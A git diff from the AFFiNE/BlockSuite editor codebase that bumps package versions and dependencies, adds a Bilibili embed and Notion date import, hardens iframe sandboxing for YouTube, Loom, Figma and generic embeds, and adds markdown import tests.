@@ -2,7 +2,7 @@ Copyright (c) 2022-present TOEVERYTHING PTE. LTD. and its affiliates.
Portions of this software are licensed as follows:
- All content that resides under the "packages/backend/server" directory of this repository, if that directory exists, is licensed under the license defined in "packages/backend/server/LICENSE".
- All content that resides under the "packages/backend" and "packages/common/native" directory of this repository, if that directory exists, is licensed under the license defined in "packages/backend/server/LICENSE".
- All third party components incorporated into the AFFiNE Software are licensed under the original license provided by the owner of the applicable component.
- Content outside of the above mentioned directories or restrictions above is available under the "MIT" license as defined in "LICENSE-MIT".

View File

@@ -193,6 +193,8 @@ We would like to express our gratitude to all the individuals who have already c
Begin with Docker to deploy your own feature-rich, unrestricted version of AFFiNE. Our team is diligently updating to the latest version. For more information on how to self-host AFFiNE, please refer to our [documentation](https://docs.affine.pro/self-host-affine).
[![Run on Sealos](https://sealos.io/Deploy-on-Sealos.svg)](https://sealos.io/products/app-store/affine)
[![Run on ClawCloud](https://raw.githubusercontent.com/ClawCloud/Run-Template/refs/heads/main/Run-on-ClawCloud.svg)](https://template.run.claw.cloud/?openapp=system-fastdeploy%3FtemplateName%3Daffine)
## Hiring

View File

@@ -6,15 +6,14 @@ We recommend users to always use the latest major version. Security updates will
| Version | Supported |
| --------------- | ------------------ |
| 0.24.x (stable) | :white_check_mark: |
| < 0.24.x | :x: |
| 0.25.x (stable) | :white_check_mark: |
| < 0.25.x | :x: |
## Reporting a Vulnerability
We welcome you to provide us with bug reports via and email at [security@toeverything.info](mailto:security@toeverything.info) or submit directly on [GitHub](https://github.com/toeverything/AFFiNE/security), **we encourage you to submit the relevant information directly via GitHub**. We expect your report to contain at least the following for us to evaluate and reproduce:
1. Using platform and version, for example:
- macos arm64 0.12.0-canary-202402220729-0868ac6
- app.affine.pro 0.12.0-canary-202402220729-0868ac6

View File

@@ -79,7 +79,7 @@
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*",
"rxjs": "^7.8.1"
"rxjs": "^7.8.2"
},
"exports": {
".": "./src/index.ts",
@@ -296,10 +296,10 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5",
"version": "0.25.7",
"devDependencies": {
"@vanilla-extract/vite-plugin": "^5.0.0",
"msw": "^2.8.4",
"vitest": "3.1.3"
"msw": "^2.12.4",
"vitest": "^3.2.4"
}
}

View File

@@ -2214,7 +2214,7 @@ describe('html to snapshot', () => {
test('iframe', async () => {
const html = template(
`<iframe width="560" height="315" src="https://www.youtube.com/embed/QDsd0nyzwz0?start=&amp;end=" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>`
`<iframe width="560" height="315" src="https://www.youtube.com/embed/QDsd0nyzwz0?start=&amp;end=" title="YouTube video player" frameborder="0" allow="fullscreen; autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin"></iframe>`
);
const blockSnapshot: BlockSnapshot = {

View File

@@ -1,3 +1,4 @@
import { MarkdownTransformer } from '@blocksuite/affine/widgets/linked-doc';
import {
DefaultTheme,
NoteDisplayMode,
@@ -16,12 +17,15 @@ import type {
SliceSnapshot,
TransformerMiddleware,
} from '@blocksuite/store';
import { AssetsManager, MemoryBlobCRUD } from '@blocksuite/store';
import { AssetsManager, MemoryBlobCRUD, Schema } from '@blocksuite/store';
import { TestWorkspace } from '@blocksuite/store/test';
import { describe, expect, test } from 'vitest';
import { AffineSchemas } from '../../schemas.js';
import { createJob } from '../utils/create-job.js';
import { getProvider } from '../utils/get-provider.js';
import { nanoidReplacement } from '../utils/nanoid-replacement.js';
import { testStoreExtensions } from '../utils/store.js';
const provider = getProvider();
@@ -90,6 +94,39 @@ describe('snapshot to markdown', () => {
expect(target.file).toBe(markdown);
});
test('imports frontmatter metadata into doc meta', async () => {
const schema = new Schema().register(AffineSchemas);
const collection = new TestWorkspace();
collection.storeExtensions = testStoreExtensions;
collection.meta.initialize();
const markdown = `---
title: Web developer
created: 2018-04-12T09:51:00
updated: 2018-04-12T10:00:00
tags: [a, b]
favorite: true
---
Hello world
`;
const docId = await MarkdownTransformer.importMarkdownToDoc({
collection,
schema,
markdown,
fileName: 'fallback-title',
extensions: testStoreExtensions,
});
expect(docId).toBeTruthy();
const meta = collection.meta.getDocMeta(docId!);
expect(meta?.title).toBe('Web developer');
expect(meta?.createDate).toBe(Date.parse('2018-04-12T09:51:00'));
expect(meta?.updatedDate).toBe(Date.parse('2018-04-12T10:00:00'));
expect(meta?.favorite).toBe(true);
expect(meta?.tags).toEqual(['a', 'b']);
});
test('paragraph', async () => {
const blockSnapshot: BlockSnapshot = {
type: 'block',
@@ -2996,6 +3033,50 @@ describe('markdown to snapshot', () => {
});
});
test('html inline color span imports to nearest supported text color', async () => {
const markdown = `<span style="color: #00afde;">Hello</span>`;
const blockSnapshot: BlockSnapshot = {
type: 'block',
id: 'matchesReplaceMap[0]',
flavour: 'affine:note',
props: {
xywh: '[0,0,800,95]',
background: DefaultTheme.noteBackgrounColor,
index: 'a0',
hidden: false,
displayMode: NoteDisplayMode.DocAndEdgeless,
},
children: [
{
type: 'block',
id: 'matchesReplaceMap[1]',
flavour: 'affine:paragraph',
props: {
type: 'text',
text: {
'$blocksuite:internal:text$': true,
delta: [
{
insert: 'Hello',
attributes: {
color: 'var(--affine-v2-text-highlight-fg-blue)',
},
},
],
},
},
children: [],
},
],
};
const mdAdapter = new MarkdownAdapter(createJob(), provider);
const rawBlockSnapshot = await mdAdapter.toBlockSnapshot({
file: markdown,
});
expect(nanoidReplacement(rawBlockSnapshot)).toEqual(blockSnapshot);
});
test('paragraph', async () => {
const markdown = `aaa

File diff suppressed because it is too large Load Diff

View File

@@ -26,9 +26,9 @@
"@toeverything/theme": "^1.1.16",
"file-type": "^21.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -26,13 +26,13 @@
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.16",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.23",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,9 +30,9 @@
"@types/mdast": "^4.0.4",
"emoji-mart": "^5.6.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -6,7 +6,7 @@ import {
import { DefaultInlineManagerExtension } from '@blocksuite/affine-inline-preset';
import {
type CalloutBlockModel,
ParagraphBlockModel,
type ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { EDGELESS_TOP_CONTENTEDITABLE_SELECTOR } from '@blocksuite/affine-shared/consts';

View File

@@ -31,10 +31,10 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"shiki": "^3.0.0",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"shiki": "^3.19.0",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,6 +1,4 @@
export const CODE_BLOCK_DEFAULT_DARK_THEME = import(
'shiki/themes/dark-plus.mjs'
);
export const CODE_BLOCK_DEFAULT_LIGHT_THEME = import(
'shiki/themes/light-plus.mjs'
);
export const CODE_BLOCK_DEFAULT_DARK_THEME =
import('shiki/themes/dark-plus.mjs');
export const CODE_BLOCK_DEFAULT_LIGHT_THEME =
import('shiki/themes/light-plus.mjs');

View File

@@ -27,9 +27,9 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -32,10 +32,10 @@
"@types/mdast": "^4.0.4",
"date-fns": "^4.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -15,6 +15,7 @@ const ColumnClassMap: Record<string, string> = {
typesCheckbox: 'checkbox',
typesText: 'rich-text',
typesTitle: 'title',
typesDate: 'date',
};
const NotionDatabaseToken = '.collection-content';
@@ -165,7 +166,36 @@ export const databaseBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatche
if (!column) {
return;
}
if (HastUtils.querySelector(child, '.selected-value')) {
// Check for <time> element to find date field from Notion.
if (HastUtils.querySelector(child, 'time')) {
const timeElement = HastUtils.querySelector(child, 'time');
let rawColumnData =
HastUtils.getTextContent(timeElement).trim();
if (rawColumnData.startsWith('@')) {
rawColumnData = rawColumnData.slice(1);
}
const columnDate = new Date(rawColumnData);
const timestamp = columnDate.getTime();
if (!Number.isNaN(timestamp)) {
column.data = {};
if (column.type !== 'date') {
column.type = 'date';
}
row[column.id] = {
columnId: column.id,
value: timestamp,
};
} else {
row[column.id] = {
columnId: column.id,
value: HastUtils.getTextContent(child),
};
}
} else if (HastUtils.querySelector(child, '.selected-value')) {
if (!('options' in column.data)) {
column.data.options = [];
}

View File

@@ -176,7 +176,7 @@ export class DatabaseTitle extends SignalWatcher(
private readonly isFocus$ = signal(false);
private onPressEnterKey() {
this.dataViewLogic.addRow?.('start');
this.input.blur();
}
get readonly$() {

View File

@@ -24,9 +24,9 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -39,5 +39,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -28,9 +28,9 @@
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.16",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,13 +30,13 @@
"@types/lodash-es": "^4.17.12",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -56,6 +56,9 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
// Caches total bounds, includes all blocks and elements.
private _cachedBounds: Bound | null = null;
private _hasRenderedSyncedView = false;
private _hasInitedFitEffect = false;
private readonly _initEdgelessFitEffect = () => {
const fitToContent = () => {
if (this.isPageMode) return;
@@ -558,8 +561,6 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this._selectBlock();
}
});
this._initEdgelessFitEffect();
}
override renderBlock() {
@@ -587,12 +588,21 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
);
}
!this._hasRenderedSyncedView && (this._hasRenderedSyncedView = true);
return this._renderSyncedView();
}
override updated(changedProperties: PropertyValues) {
super.updated(changedProperties);
this.syncedDocCard?.requestUpdate();
if (!this._hasInitedFitEffect && this._hasRenderedSyncedView) {
/* Register the resizeObserver AFTER syncdView viewport's own resizeObserver
* so that viewport.onResize() use up-to-date boundingClientRect values */
this._hasInitedFitEffect = true;
this._initEdgelessFitEffect();
}
}
@state()

View File

@@ -30,13 +30,13 @@
"@types/lodash-es": "^4.17.12",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -82,7 +82,8 @@ export class EmbedFigmaBlockComponent extends EmbedBlockComponent<EmbedFigmaMode
<div class="affine-embed-figma-iframe-container">
<iframe
src=${`https://www.figma.com/embed?embed_host=blocksuite&url=${url}`}
allowfullscreen
sandbox="allow-same-origin allow-scripts allow-presentation"
allow="fullscreen"
loading="lazy"
credentialless
></iframe>

View File

@@ -0,0 +1,79 @@
import { EmbedIframeConfigExtension } from '@blocksuite/affine-shared/services';
import {
type EmbedIframeUrlValidationOptions,
validateEmbedIframeUrl,
} from '../../utils';
const BILIBILI_DEFAULT_WIDTH_IN_SURFACE = 800;
const BILIBILI_DEFAULT_HEIGHT_IN_SURFACE = 450;
const BILIBILI_DEFAULT_HEIGHT_IN_NOTE = 450;
const BILIBILI_DEFAULT_WIDTH_PERCENT = 100;
const bilibiliValidationOptions: EmbedIframeUrlValidationOptions = {
protocols: ['https:'],
hostnames: ['player.bilibili.com', 'www.bilibili.com', 'bilibili.com'],
};
const biliPlayerValidationOptions: EmbedIframeUrlValidationOptions = {
protocols: ['https:'],
hostnames: ['player.bilibili.com'],
};
const AV_REGEX = /av([0-9]+)/i;
const BV_REGEX = /(BV[0-9A-Za-z]{10})/;
const extractAvid = (url: string) => {
const match = url.match(AV_REGEX);
return match ? match[1] : undefined;
};
const extractBvid = (url: string) => {
const match = url.match(BV_REGEX);
return match ? match[1] : undefined;
};
const buildBiliPlayerEmbedUrl = (url: string) => {
// If the user pasted the embed URL directly, keep it
if (validateEmbedIframeUrl(url, biliPlayerValidationOptions)) {
return url;
}
const avid = extractAvid(url);
if (avid) {
const params = new URLSearchParams({
aid: avid,
autoplay: '0',
});
return `https://player.bilibili.com/player.html?${params.toString()}`;
}
const bvid = extractBvid(url);
if (bvid) {
const params = new URLSearchParams({
bvid,
autoplay: '0',
});
return `https://player.bilibili.com/player.html?${params.toString()}`;
}
return undefined;
};
const bilibiliConfig = {
name: 'bilibili',
match: (url: string) =>
validateEmbedIframeUrl(url, bilibiliValidationOptions) &&
(!!extractAvid(url) || !!extractBvid(url)),
buildOEmbedUrl: buildBiliPlayerEmbedUrl,
useOEmbedUrlDirectly: true,
options: {
widthInSurface: BILIBILI_DEFAULT_WIDTH_IN_SURFACE,
heightInSurface: BILIBILI_DEFAULT_HEIGHT_IN_SURFACE,
heightInNote: BILIBILI_DEFAULT_HEIGHT_IN_NOTE,
widthPercent: BILIBILI_DEFAULT_WIDTH_PERCENT,
allow: 'clipboard-write; encrypted-media; picture-in-picture',
sandbox: 'allow-same-origin allow-scripts',
style: 'border: none; border-radius: 8px;',
allowFullscreen: true,
},
};
export const BilibiliEmbedConfig = EmbedIframeConfigExtension(bilibiliConfig);

View File

@@ -67,8 +67,9 @@ const genericConfig = {
heightInNote: GENERIC_DEFAULT_HEIGHT_IN_NOTE,
allowFullscreen: true,
style: 'border: none; border-radius: 8px;',
allow: 'clipboard-read; clipboard-write; picture-in-picture;',
allow: '',
referrerpolicy: 'no-referrer-when-downgrade',
sandbox: 'allow-scripts',
},
};

View File

@@ -1,3 +1,4 @@
import { BilibiliEmbedConfig } from './bilibili';
import { ExcalidrawEmbedConfig } from './excalidraw';
import { GenericEmbedConfig } from './generic';
import { GoogleDocsEmbedConfig } from './google-docs';
@@ -11,5 +12,6 @@ export const EmbedIframeConfigExtensions = [
MiroEmbedConfig,
ExcalidrawEmbedConfig,
GoogleDocsEmbedConfig,
BilibiliEmbedConfig,
GenericEmbedConfig,
];

View File

@@ -23,7 +23,7 @@ import {
type ReadonlySignal,
signal,
} from '@preact/signals-core';
import { html } from 'lit';
import { html, nothing } from 'lit';
import { query } from 'lit/decorators.js';
import { type ClassInfo, classMap } from 'lit/directives/class-map.js';
import { ifDefined } from 'lit/directives/if-defined.js';
@@ -45,6 +45,10 @@ import { safeGetIframeSrc } from './utils.js';
export type EmbedIframeStatus = 'idle' | 'loading' | 'success' | 'error';
const TRUSTED_SANDBOX =
'allow-same-origin allow-scripts allow-forms allow-presentation';
const UNTRUSTED_SANDBOX = 'allow-scripts';
export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIframeBlockModel> {
selectedStyle$: ReadonlySignal<ClassInfo> | null = computed<ClassInfo>(
() => ({
@@ -89,6 +93,7 @@ export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIfra
});
protected iframeOptions: IframeOptions | undefined = undefined;
private currentConfigName: string | undefined;
get embedIframeService() {
return this.std.get(EmbedIframeService);
@@ -279,6 +284,10 @@ export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIfra
const config = this.embedIframeService?.getConfig(url);
if (config) {
this.iframeOptions = config.options;
this.currentConfigName = config.name;
} else {
this.iframeOptions = undefined;
this.currentConfigName = undefined;
}
};
@@ -328,26 +337,46 @@ export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIfra
referrerpolicy,
scrolling,
allowFullscreen,
sandbox,
} = this.iframeOptions ?? {};
const width = `${widthPercent}%`;
// if the block is in the surface, use 100% as the height
// otherwise, use the heightInNote
const height = this.inSurface ? '100%' : heightInNote;
return html`
<iframe
const sandboxValue =
sandbox ??
(this.currentConfigName === 'generic'
? UNTRUSTED_SANDBOX
: TRUSTED_SANDBOX);
const sourceHost = this._getSourceHost();
return html`<iframe
width=${width ?? DEFAULT_IFRAME_WIDTH}
height=${height ?? DEFAULT_IFRAME_HEIGHT}
?allowfullscreen=${allowFullscreen}
loading="lazy"
frameborder="0"
credentialless
sandbox=${sandboxValue}
src=${ifDefined(iframeUrl)}
allow=${ifDefined(allow)}
referrerpolicy=${ifDefined(referrerpolicy)}
scrolling=${ifDefined(scrolling)}
style=${ifDefined(style)}
></iframe>
`;
${sourceHost
? html`<div class="affine-embed-iframe-source">${sourceHost}</div>`
: nothing}`;
};
private readonly _getSourceHost = () => {
const url = this.model.props.url ?? this.model.props.iframeUrl;
if (!url) return null;
try {
const parsed = new URL(url);
return parsed.hostname;
} catch {
return null;
}
};
private readonly _renderContent = () => {

View File

@@ -23,6 +23,19 @@ export const embedIframeBlockStyles = css`
height: 100%;
display: none;
}
.affine-embed-iframe-source {
position: absolute;
left: 8px;
bottom: 8px;
padding: 2px 6px;
background: rgba(0, 0, 0, 0.7);
color: #fff;
border-radius: 4px;
font-size: 12px;
line-height: 16px;
pointer-events: none;
}
.affine-embed-iframe-block-overlay.show {
display: block;
}

View File

@@ -124,7 +124,8 @@ export class EmbedLoomBlockComponent extends EmbedBlockComponent<
<iframe
src=${`https://www.loom.com/embed/${videoId}?hide_title=true`}
frameborder="0"
allow="fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
allow="fullscreen; autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"
sandbox="allow-scripts allow-same-origin allow-presentation"
loading="lazy"
credentialless
></iframe>

View File

@@ -148,8 +148,8 @@ export class EmbedYoutubeBlockComponent extends EmbedBlockComponent<
type="text/html"
src=${`https://www.youtube.com/embed/${videoId}`}
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
allowfullscreen
allow="fullscreen; autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"
sandbox="allow-scripts allow-same-origin allow-presentation"
loading="lazy"
credentialless
></iframe>

View File

@@ -28,10 +28,10 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -28,9 +28,9 @@
"@toeverything/theme": "^1.1.16",
"file-type": "^21.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -28,12 +28,12 @@
"@toeverything/theme": "^1.1.16",
"@types/katex": "^0.16.7",
"@types/mdast": "^4.0.4",
"katex": "^0.16.11",
"katex": "^0.16.27",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"minimatch": "^10.1.1",
"remark-math": "^6.0.0",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -27,12 +27,12 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,4 +1,5 @@
import type { ListBlockModel } from '@blocksuite/affine-model';
import { getNumberPrefix } from '@blocksuite/affine-shared/utils';
import {
BulletedList01Icon,
BulletedList02Icon,
@@ -11,8 +12,6 @@ import {
} from '@blocksuite/icons/lit';
import { html } from 'lit';
import { getNumberPrefix } from './get-number-prefix.js';
const getListDeep = (model: ListBlockModel): number => {
let deep = 0;
let parent = model.store.getParent(model);

View File

@@ -33,9 +33,9 @@
"@vanilla-extract/css": "^1.17.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -82,12 +82,13 @@ function createConversionItem(
config: TextConversionConfig,
group?: SlashMenuItem['group']
): SlashMenuActionItem {
const { name, description, icon, flavour, type } = config;
const { name, description, icon, flavour, type, searchAlias = [] } = config;
return {
name,
group,
description,
icon,
searchAlias,
tooltip: tooltips[name],
when: ({ model }) => model.store.schema.flavourSchemaMap.has(flavour),
action: ({ std }) => {

View File

@@ -26,9 +26,9 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -50,10 +50,10 @@
"html2canvas": "^1.4.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -67,5 +67,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -30,9 +30,9 @@
"fractional-indexing": "^3.2.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"nanoid": "^5.0.7",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"nanoid": "^5.1.6",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -26,14 +26,14 @@
"html2canvas": "^1.4.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"nanoid": "^5.0.7",
"nanoid": "^5.1.6",
"pdf-lib": "^1.17.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -113,7 +113,7 @@ export class CanvasRenderer {
* It is not recommended to set width and height to 100%.
*/
private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
const { width, height } = this.viewport;
const { width, height, viewScale } = this.viewport;
const actualWidth = Math.ceil(width * dpr);
const actualHeight = Math.ceil(height * dpr);
@@ -124,6 +124,8 @@ export class CanvasRenderer {
update(canvas: HTMLCanvasElement) {
canvas.style.width = `${width}px`;
canvas.style.height = `${height}px`;
canvas.style.transform = `scale(${1 / viewScale})`;
canvas.style.transformOrigin = `top left`;
canvas.width = actualWidth;
canvas.height = actualHeight;
},

View File

@@ -8,9 +8,8 @@ import type { RoughCanvas } from '../../index.js';
import type { CanvasRenderer } from '../canvas-renderer.js';
export type ElementRenderer<
T extends
| GfxPrimitiveElementModel
| GfxLocalElementModel = GfxPrimitiveElementModel,
T extends GfxPrimitiveElementModel | GfxLocalElementModel =
GfxPrimitiveElementModel,
> = (
model: T,
ctx: CanvasRenderingContext2D,

View File

@@ -10,7 +10,7 @@
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@atlaskit/pragmatic-drag-and-drop": "^1.4.0",
"@atlaskit/pragmatic-drag-and-drop": "^1.7.7",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-ext-loader": "workspace:*",
"@blocksuite/affine-inline-preset": "workspace:*",
@@ -27,9 +27,9 @@
"@floating-ui/dom": "^1.6.13",
"@preact/signals-core": "^1.8.0",
"lit": "^3.2.0",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.24.1"
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -418,6 +418,7 @@ export class TableCell extends SignalWatcher(
name: 'Paste',
prefix: PasteIcon(),
select: () => {
// eslint-disable-next-line @typescript-eslint/no-floating-promises
navigator.clipboard.readText().then(text => {
this.selectionController.doPaste(text, selected);
});

View File

@@ -28,15 +28,15 @@
"@types/mdast": "^4.0.4",
"collapse-white-space": "^2.1.0",
"date-fns": "^4.0.0",
"katex": "^0.16.11",
"katex": "^0.16.27",
"lit": "^3.2.0",
"lit-html": "^3.2.1",
"lodash-es": "^4.17.21",
"remark-math": "^6.0.0",
"rxjs": "^7.8.1",
"shiki": "^3.0.0",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"shiki": "^3.19.0",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -82,5 +82,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

